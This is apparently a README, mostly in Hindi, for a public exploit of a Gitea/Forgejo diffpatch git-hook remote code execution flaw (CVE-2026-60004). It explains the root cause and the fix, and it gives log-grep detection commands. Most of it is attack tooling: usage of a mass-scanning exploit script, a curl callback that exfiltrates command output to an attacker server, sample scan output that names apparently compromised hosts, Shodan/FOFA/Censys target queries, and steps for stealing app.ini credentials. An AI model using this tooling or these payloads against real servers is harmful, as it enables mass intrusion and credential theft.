
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE। Bare clone → post-index-change hook इंजेक्शन। CVSS 9.8 | CWE-94 | Gitea < 1.27.1
CVE-2026-60004 एक गंभीर-स्तर (CVSS 9.8) प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) भेद्यता है, जो Gitea और Forgejo सेल्फ-होस्टेड Git प्लेटफ़ॉर्म को प्रभावित करती है, विशेष रूप से संस्करण 1.17 से 1.27.0 तक।
यह भेद्यता POST /api/v1/repos/{owner}/{repo}/diffpatch API एंडपॉइंट में एक बेयर-क्लोन डिज़ाइन दोष का फायदा उठाती है। Gitea उपयोगकर्ता द्वारा प्रदान किए गए पैच को बेयर अस्थायी क्लोन के अंदर लागू करता है — जहाँ रिपॉजिटरी रूट स्वयं $GIT_DIR होता है। उसी दुर्भावनापूर्ण पैच को दो बार सबमिट करके, एक हमलावर add/add कॉन्फ्लिक्ट ट्रिगर करता है, जिससे Git का थ्री-वे मर्ज फ़ॉलबैक (-3, Git 2.32+) सीधे $GIT_DIR/hooks/ में एक एक्ज़ीक्यूटेबल post-index-change हुक लिख देता है। इंडेक्स अपडेट के दौरान Git इस हुक को स्वचालित रूप से निष्पादित करता है, जिससे Gitea सेवा खाते के अंतर्गत मनमाना कमांड निष्पादन होता है।
रिपॉजिटरी लेखन (write) पहुंच आवश्यक है — जो Gitea में डिफ़ॉल्ट रूप से खुली रजिस्ट्रेशन की वजह से आसानी से प्राप्त होती है, बिना ईमेल सत्यापन, एडमिन अनुमोदन, या रिपॉजिटरी निर्माण सीमा के।
| संस्करण | स्थिति |
|---|---|
| < 1.17 | प्रभावित नहीं (diffpatch रूट अभी पेश नहीं हुआ था) |
| 1.17 — 1.27.0 | असुरक्षित |
| 1.27.1+ | पैच किया गया |
खोजकर्ता: Shai Rod (NightRang3r), 28 जुलाई, 2026 प्रोजेक्ट: Gitea / Forgejo (सेल्फ-होस्टेड Git सेवा) घटक: diffpatch API एंडपॉइंट, बेयर अस्थायी क्लोन
यह भेद्यता services/repository/files/patch.go में एकल पैरामीटर से उत्पन्न होती है:
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
एक बेयर क्लोन में कोई वर्किंग ट्री नहीं होता — रिपॉजिटरी रूट ही $GIT_DIR होता है। इसलिए एक दुर्भावनापूर्ण पैच जिसका फ़ाइल पथ hooks/post-index-change है, सीधे Git के वास्तविक हुक्स निर्देशिका में जाकर गिरता है, न कि किसी सैंडबॉक्स्ड वर्किंग ट्री में।
git apply का इनवोकेशन इसे और बढ़ा देता है:
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
$GIT_DIR है, इसलिए पथ hooks/post-index-change वास्तविक हुक्स निर्देशिका से मैप होता है।--cached पूरी तरह अभेद्य नहीं है — Git 2.32+ में -3 थ्री-वे फ़ॉलबैक add/add कॉन्फ्लिक्ट के दौरान मर्ज किए गए परिणाम वर्किंग ट्री में लिख देता है, --cached फ़्लैग के बावजूद।post-index-change निष्पादित करता है — इंडेक्स अपडेट करने के बाद, Git इस हुक को बिना शर्त चलाता है यदि यह मौजूद और एक्ज़ीक्यूटेबल है। किसी कॉन्फ़िगरेशन की आवश्यकता नहीं है।git update-index डेडलॉक हो जाता है क्योंकि git apply इंडेक्स लॉक रखता है। आउटपुट एक्सफ़िल्ट्रेशन के लिए HTTP कॉलबैक (curl) या रिवर्स शेल का उपयोग करें।1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
└─ Bare temp clone created: .Clone(ctx, oldBranch, true)
└─ git apply --index --cached -3 processes the patch
└─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
└─ Three-way merge (-3) resolves the conflict
└─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
└─ Git fires post-index-change hook automatically
└─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
└─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
बेयर और नॉन-बेयर क्लोन के बीच का अंतर — एक एकल बूलियन पैरामीटर — यह निर्धारित करता है कि पैच पथ एक हानिरहित वर्किंग-ट्री एंट्री है या एक एक्ज़ीक्यूटेबल हुक जो सीधे Git की आंतरिक निर्देशिका में पहुँचता है। फिक्स डिफ में ठीक एक अक्षर बदलता है (true → false), यही कारण है कि इस कमिट को SECURITY के बजाय MISC के अंतर्गत "refactor: git patch apply" लेबल दिया गया था। जिस ऑपरेशन को इंडेक्स तक सीमित (--cached) रहना था, उसे Git के अपने थ्री-वे मर्ज तंत्र ने चुपचाप तोड़ दिया, और किसी अतिरिक्त गार्ड ने बेयर क्लोन के $GIT_DIR में हुक फ़ाइलें बनने से नहीं रोका।
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln (< 1.27.1) : YES
RCE : CONFIRMED
Detection : timing Δ 8.0s (hook sleep 4s)
User : poc_a1b2c3
Time : 9.5s
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Targets: 259 | Threads: 20
[RCE] gitea.idetama.id Δ8.7s (hook sleep 4s)
[RCE] gitea.roan.id.au Δ8.7s (hook sleep 4s)
[DET] git.ofon.id | ⠼ [████░░░░░░░░░░░] 86/259 (33%) Det:76 RCE:2
───────────────────────────────────────────────────────
SCAN SUMMARY
───────────────────────────────────────────────────────
Total : 259
RCE Confirmed : 12
Hook Failed : 5
Patched : 25
Errors : 151
Register fail : 85
Login fail : 42
Repo fail : 24
Not Gitea : 66
───────────────────────────────────────────────────────
Detection method: timing
Done | 77s
callback-data/
├── index.txt
├── gitea.idetama.id/
│ ├── output_2026-08-03_120000.txt
│ └── latest.txt
├── gitea.roan.id.au/
│ └── ...
FOFA: title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"
सफल शोषण से Gitea सेवा खाते के रूप में रिमोट कोड निष्पादन प्राप्त होता है:
app.ini कॉन्फ़िगरेशन निकालें — डेटाबेस क्रेडेंशियल, SMTP सीक्रेट, OAuth ऐप कुंजियाँ, LFS/JWT सीक्रेटइंस्टेंस पर किसी खाते की आवश्यकता नहीं है — रजिस्ट्रेशन डिफ़ॉल्ट रूप से खुली है।
Gitea ने संस्करण 1.27.1 (कमिट 470d34b) में इस भेद्यता को निम्नलिखित तरीके से ठीक किया:
$GIT_DIR/hooks/ के बजाय वर्किंग ट्री में जाएँ--index ऑपरेशन कुछ शर्तों के तहत वर्किंग ट्री के साथ इंटरैक्ट कर सकते हैंTestGitPatchPrepare) जोड़ना जो .git सबडायरेक्ट्री की जाँच करके यह सुनिश्चित करता है कि अस्थायी क्लोन नॉन-बेयर है- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {
यह फिक्स 1.27.1 रिलीज़ नोट्स में SECURITY के बजाय MISC के अंतर्गत
"refactor: git patch apply"के रूप में दिखाई दिया, जिससे केवल सुरक्षा-संबंधित चेंजलॉग एंट्री स्कैन करने वाले एडमिन इस महत्वपूर्ण अपडेट को आसानी से अनदेखा कर सकते हैं।CherryPickमें वही बेयर-क्लोन पैटर्न भी ठीक किया गया।
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
स्वामी की स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।
| संसाधन | लिंक |
|---|
शाई रॉड (NightRang3r) द्वारा खोजा गया। Gitea या Forgejo से संबद्ध नहीं है।
| फ़ाइल | पंक्ति(याँ) | उद्देश्य |
|---|
services/repository/files/patch.go | 195 | t.Clone(ctx, opts.OldBranch, true) — बेयर क्लोन निर्माण |
services/repository/files/patch.go | 206-209 | git apply फ़्लैग्स --index --cached -3 के साथ |
services/repository/files/patch.go | 215-223 | WriteTree() + CommitTree() + Push() — हमलावर की स्थिति को स्थायी रूप से सहेजता है |
services/repository/files/cherry_pick.go | ~170 | CherryPick में भी यही बेयर-क्लोन पैटर्न (इसे भी ठीक किया गया) |
| Gitea फिक्स कमिट | 470d34b |
| शोधकर्ता | NightRang3r |
| CWE-94 | कोड इंजेक्शन |
| Git हुक | post-index-change |